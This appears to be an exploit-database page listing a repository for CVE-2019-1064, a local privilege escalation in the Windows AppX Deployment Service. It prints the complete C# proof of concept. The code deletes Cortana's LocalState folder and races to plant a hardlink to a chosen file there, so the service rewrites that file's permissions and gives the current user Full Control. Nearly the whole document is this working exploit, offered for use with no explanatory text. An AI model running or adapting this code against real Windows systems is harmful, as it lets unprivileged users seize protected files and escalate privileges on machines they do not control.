Exploit databaseDownload repository ZIP
GH-8e1d7e96816dc7b583f6937467d22981
0x00-0x00/cve-2019-1064
Sources for CVE-2019-1064
4 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files7
0x00-0x00/cve-2019-1064Revision 44886dbb620d
- ↑..Parent directory
- Properties/
- App.config
- AppXSVC_poc.csproj
- Exploit.cs
- FodyWeavers.xml
- FodyWeavers.xsd
- packages.config
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
AppXSVC_poc/Exploit.cs
C# · 3,910 bytesusing System;
using System.IO;
using NtApiDotNet;
using System.Runtime.InteropServices;
using System.Security.AccessControl;
using System.Security.Principal;
using Microsoft.Win32;
namespace AppXSVC_poc
{
class Exploit
{
[DllImport("kernel32.dll")]
static extern bool SetThreadPriority(IntPtr hThread, ThreadPriority nPriority);
[DllImport("kernel32.dll")]
private static extern IntPtr GetCurrentThread();
static void Main(string[] args)
{
if (args.Length < 1)
{
Console.WriteLine("[+] Specify a target filename");
return;
}
if (!File.Exists(args[0]))
{
Console.WriteLine($"[+] {args[0]} not found");
return;
}
if (!HasFullControl(args[0], @"NT AUTHORITY\SYSTEM"))
{
Console.WriteLine($@"[+] NT AUTHORITY\SYSTEM has no access to {args[0]}");
return;
}
if (HasFullControl(args[0], WindowsIdentity.GetCurrent().Name))
{
Console.WriteLine($@"[+] {WindowsIdentity.GetCurrent().Name} already has Full Control of {args[0]}");
return;
}
if (GetCortana() == 0)
{
Console.WriteLine("[+] Cortana disabled");
return;
}
string AppData = Environment.GetFolderPath((Environment.SpecialFolder.LocalApplicationData));
string LocalState = AppData + $@"\packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\LocalState";
Console.WriteLine($"[+] Removing {LocalState}");
try
{
Directory.Delete($@"{LocalState}", true);
}
catch { }
IntPtr Thread = GetCurrentThread();
SetThreadPriority(Thread, ThreadPriority.THREAD_PRIORITY_HIGHEST);
NtFile ntFile;
ntFile = NtFile.Open($@"\??\{args[0]}", null, FileAccessRights.MaximumAllowed);
Console.WriteLine("[+] Waiting to Create Hardlink");
bool Failed = true;
while (Failed)
{
try
{
ntFile.CreateHardlink($@"\??\{LocalState}\rs.txt");
Failed = false;
}
catch { }
}
Console.WriteLine($"[+] Created Hardlink to {args[0]}");
// Give the service some time to rewrite DACLs
System.Threading.Thread.Sleep(2000);
if (HasFullControl(args[0], WindowsIdentity.GetCurrent().Name))
{
Console.WriteLine(@"[+] You have Full Control");
}
else
{
Console.WriteLine(@"[+] Unlucky - Try again");
}
}
private static Boolean HasFullControl(string path, string username)
{
bool fc = false;
FileInfo file = new FileInfo($@"{path}");
FileSecurity acl = file.GetAccessControl();
foreach (FileSystemAccessRule rule in acl.GetAccessRules(true, true, typeof(NTAccount)))
{
if (rule.IdentityReference.Value.Equals(username) & rule.FileSystemRights.Equals(FileSystemRights.FullControl))
fc = true;
}
return fc;
}
public static int GetCortana()
{
string KeyName = @"SOFTWARE\Policies\Microsoft\Windows\Windows Search";
string ValueName = "AllowCortana";
using (var key = Registry.LocalMachine.OpenSubKey(KeyName))
{
return (int)(key?.GetValue(ValueName) ?? -1);
}
}
public enum ThreadPriority
{
THREAD_PRIORITY_HIGHEST = 2
}
}
}